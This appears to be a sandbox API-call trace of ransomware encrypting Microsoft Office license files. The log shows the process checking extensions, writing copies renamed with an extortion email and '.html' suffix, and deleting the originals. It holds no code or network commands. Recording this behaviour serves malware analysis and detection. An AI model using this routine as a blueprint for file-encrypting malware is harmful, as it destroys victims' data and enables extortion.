	[0198.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms")) returned 1
	[0198.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0198.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0198.529] lstrlenW (lpString=".doc") returned 4
	[0198.529] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.529] lstrlenW (lpString=".docx") returned 5
	[0198.529] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.529] lstrlenW (lpString=".pdf") returned 4
	[0198.529] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.529] lstrlenW (lpString=".xls") returned 4
	[0198.529] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.529] lstrlenW (lpString=".xlsx") returned 5
	[0198.529] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.529] lstrlenW (lpString=".ppt") returned 4
	[0198.529] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0198.529] lstrlenW (lpString=".zip") returned 4
	[0198.529] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.529] lstrlenW (lpString=".rar") returned 4
	[0198.529] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.529] lstrlenW (lpString=".bz2") returned 4
	[0198.529] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.529] lstrlenW (lpString=".7z") returned 3
	[0198.529] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0198.530] lstrlenW (lpString=".dbf") returned 4
	[0198.530] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0198.530] lstrlenW (lpString=".1cd") returned 4
	[0198.530] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0198.530] lstrlenW (lpString=".jpg") returned 4
	[0198.530] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0198.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0198.530] lstrlenW (lpString=".doc") returned 4
	[0198.530] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.530] lstrlenW (lpString=".docx") returned 5
	[0198.530] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.530] lstrlenW (lpString=".pdf") returned 4
	[0198.530] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.530] lstrlenW (lpString=".xls") returned 4
	[0198.530] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.530] lstrlenW (lpString=".xlsx") returned 5
	[0198.530] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.530] lstrlenW (lpString=".ppt") returned 4
	[0198.530] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0198.530] lstrlenW (lpString=".zip") returned 4
	[0198.530] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.531] lstrlenW (lpString=".rar") returned 4
	[0198.531] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.531] lstrlenW (lpString=".bz2") returned 4
	[0198.531] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.531] lstrlenW (lpString=".7z") returned 3
	[0198.531] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0198.531] lstrlenW (lpString=".dbf") returned 4
	[0198.531] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0198.531] lstrlenW (lpString=".1cd") returned 4
	[0198.531] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0198.531] lstrlenW (lpString=".jpg") returned 4
	[0198.531] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.531] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.531] lstrlenW (lpString="MondoR_Subscription2-ppd.xrm-ms") returned 31
	[0198.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0198.532] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=32362) returned 1
	[0198.532] CloseHandle (hObject=0x538) returned 1
	[0198.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms")) returned 0x220
	[0198.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0198.533] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.533] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0198.751] GetLastError () returned 0x0
	[0198.751] ReadFile (in: hFile=0x538, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x7e6a, lpOverlapped=0x0) returned 1
	[0198.756] WriteFile (in: hFile=0x590, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x7e70, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x7e70, lpOverlapped=0x0) returned 1
	[0198.758] ReadFile (in: hFile=0x538, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.758] WriteFile (in: hFile=0x590, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x112, lpOverlapped=0x0) returned 1
	[0198.758] SetEndOfFile (hFile=0x590) returned 1
	[0198.758] CloseHandle (hObject=0x590) returned 1
	[0198.758] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.758] SetEndOfFile (hFile=0x538) returned 1
	[0198.762] CloseHandle (hObject=0x538) returned 1
	[0198.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms")) returned 1
	[0198.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0198.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0198.763] lstrlenW (lpString=".doc") returned 4
	[0198.763] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.763] lstrlenW (lpString=".docx") returned 5
	[0198.763] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.763] lstrlenW (lpString=".pdf") returned 4
	[0198.763] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.764] lstrlenW (lpString=".xls") returned 4
	[0198.764] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.764] lstrlenW (lpString=".xlsx") returned 5
	[0198.764] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.764] lstrlenW (lpString=".ppt") returned 4
	[0198.764] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0198.764] lstrlenW (lpString=".zip") returned 4
	[0198.764] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.764] lstrlenW (lpString=".rar") returned 4
	[0198.764] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.764] lstrlenW (lpString=".bz2") returned 4
	[0198.764] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.764] lstrlenW (lpString=".7z") returned 3
	[0198.764] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0198.764] lstrlenW (lpString=".dbf") returned 4
	[0198.764] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0198.764] lstrlenW (lpString=".1cd") returned 4
	[0198.764] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0198.764] lstrlenW (lpString=".jpg") returned 4
	[0198.764] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0198.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0198.764] lstrlenW (lpString=".doc") returned 4
	[0198.764] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.764] lstrlenW (lpString=".docx") returned 5
	[0198.764] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.764] lstrlenW (lpString=".pdf") returned 4
	[0198.764] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.765] lstrlenW (lpString=".xls") returned 4
	[0198.765] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.765] lstrlenW (lpString=".xlsx") returned 5
	[0198.765] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.765] lstrlenW (lpString=".ppt") returned 4
	[0198.765] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0198.765] lstrlenW (lpString=".zip") returned 4
	[0198.765] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.765] lstrlenW (lpString=".rar") returned 4
	[0198.765] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.765] lstrlenW (lpString=".bz2") returned 4
	[0198.765] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.765] lstrlenW (lpString=".7z") returned 3
	[0198.765] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0198.765] lstrlenW (lpString=".dbf") returned 4
	[0198.765] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0198.765] lstrlenW (lpString=".1cd") returned 4
	[0198.765] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0198.765] lstrlenW (lpString=".jpg") returned 4
	[0198.765] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.765] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.765] lstrlenW (lpString="MondoR_SubTest2-ul-oob.xrm-ms") returned 29
	[0198.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0198.766] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11595) returned 1
	[0198.766] CloseHandle (hObject=0x538) returned 1
	[0198.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms")) returned 0x220
	[0198.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0198.767] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.767] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0198.768] GetLastError () returned 0x0
	[0198.768] ReadFile (in: hFile=0x538, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2d4b, lpOverlapped=0x0) returned 1
	[0198.770] WriteFile (in: hFile=0x590, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0198.771] ReadFile (in: hFile=0x538, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.771] WriteFile (in: hFile=0x590, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0198.771] SetEndOfFile (hFile=0x590) returned 1
	[0198.771] CloseHandle (hObject=0x590) returned 1
	[0198.771] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.771] SetEndOfFile (hFile=0x538) returned 1
	[0198.774] CloseHandle (hObject=0x538) returned 1
	[0198.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms")) returned 1
	[0198.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0198.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0198.775] lstrlenW (lpString=".doc") returned 4
	[0198.775] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.775] lstrlenW (lpString=".docx") returned 5
	[0198.776] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.776] lstrlenW (lpString=".pdf") returned 4
	[0198.776] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.776] lstrlenW (lpString=".xls") returned 4
	[0198.776] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.776] lstrlenW (lpString=".xlsx") returned 5
	[0198.776] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.776] lstrlenW (lpString=".ppt") returned 4
	[0198.776] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0198.776] lstrlenW (lpString=".zip") returned 4
	[0198.776] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.776] lstrlenW (lpString=".rar") returned 4
	[0198.776] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.776] lstrlenW (lpString=".bz2") returned 4
	[0198.776] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.776] lstrlenW (lpString=".7z") returned 3
	[0198.776] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0198.776] lstrlenW (lpString=".dbf") returned 4
	[0198.776] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0198.776] lstrlenW (lpString=".1cd") returned 4
	[0198.776] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0198.776] lstrlenW (lpString=".jpg") returned 4
	[0198.776] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0198.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0198.776] lstrlenW (lpString=".doc") returned 4
	[0198.776] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.776] lstrlenW (lpString=".docx") returned 5
	[0198.777] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.777] lstrlenW (lpString=".pdf") returned 4
	[0198.777] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.777] lstrlenW (lpString=".xls") returned 4
	[0198.777] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.777] lstrlenW (lpString=".xlsx") returned 5
	[0198.777] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.777] lstrlenW (lpString=".ppt") returned 4
	[0198.777] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0198.777] lstrlenW (lpString=".zip") returned 4
	[0198.777] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.777] lstrlenW (lpString=".rar") returned 4
	[0198.777] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.777] lstrlenW (lpString=".bz2") returned 4
	[0198.777] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.777] lstrlenW (lpString=".7z") returned 3
	[0198.777] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0198.777] lstrlenW (lpString=".dbf") returned 4
	[0198.777] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0198.777] lstrlenW (lpString=".1cd") returned 4
	[0198.777] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0198.777] lstrlenW (lpString=".jpg") returned 4
	[0198.777] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.777] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.778] lstrlenW (lpString="MondoR_SubTrial-pl.xrm-ms") returned 25
	[0198.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0198.778] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11151) returned 1
	[0198.778] CloseHandle (hObject=0x538) returned 1
	[0198.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms")) returned 0x220
	[0198.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0198.779] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.779] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0198.780] GetLastError () returned 0x0
	[0198.780] ReadFile (in: hFile=0x538, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2b8f, lpOverlapped=0x0) returned 1
	[0198.782] WriteFile (in: hFile=0x590, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0198.783] ReadFile (in: hFile=0x538, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.783] WriteFile (in: hFile=0x590, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x106, lpOverlapped=0x0) returned 1
